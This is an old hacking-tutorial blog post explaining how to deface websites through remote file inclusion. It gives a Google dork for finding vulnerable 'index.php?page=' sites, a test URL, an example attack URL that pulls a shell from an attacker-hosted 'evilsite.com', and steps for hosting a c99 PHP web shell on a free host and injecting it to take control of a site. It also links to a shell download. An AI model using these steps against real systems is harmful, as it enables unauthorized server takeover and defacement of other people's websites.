deface website by remote file inclusion

Share:
A Remote File Inclusion vulnerability is where we trick the web server in to putting our file (file uploader / php shell) in to the web page. It then parses our PHP script and we then have full control over the server. The exploit works because when a website calls another page to be displayed except, we edit the url so that the website thinks our shell is the page to display.

Normally, I'm against stuff like this. I believe people should find their own vulnerable
sites. But, for the sake of this paper, i will show you how we can use google to get us
vulnerable sites.

We will query google like so:
Code:
inurl:"index.php?page="

This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that 'page' is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter
http://www.google.com after the equal sign.

Code:
www.site.com/index.php?page=www.google.com

If the full google.com website appears on the page, the websiteis vulnerable. If not, keep
looking.

To exploit the vulnerability we must first look at the following example of a RFI:
Code:
www.shittysite.com/index.php?page=www.evilsite.com/shell.txt?

A) Get a free host website (like dajoob or free webs)
B) Put a PHP shell (c99) in text form on the site
C) Insert the path to the shell in the vulnerable hosts url,
like the example above.
D) You can then proceed to deface the site etc.

download shell here :
Code:
http://0nzz.t35.com/c99ud.txt

Grab This Widget

Subscribe to EthicalSpot.Tk


Like this article?
Subscribe to EthicalSpot.tk and get daily updates in your email for free

0 comments:

Post a Comment

Please feel free to comment !!!!!!!!!!!!!

 
© Copyright 2010-2011 Learn How To Hack! Learn Ethical Hacking & Download Free Hacking Softwares All Rights Reserved.
Template Design by Free Hacking | Published by Daily News | Powered by Free Hacking.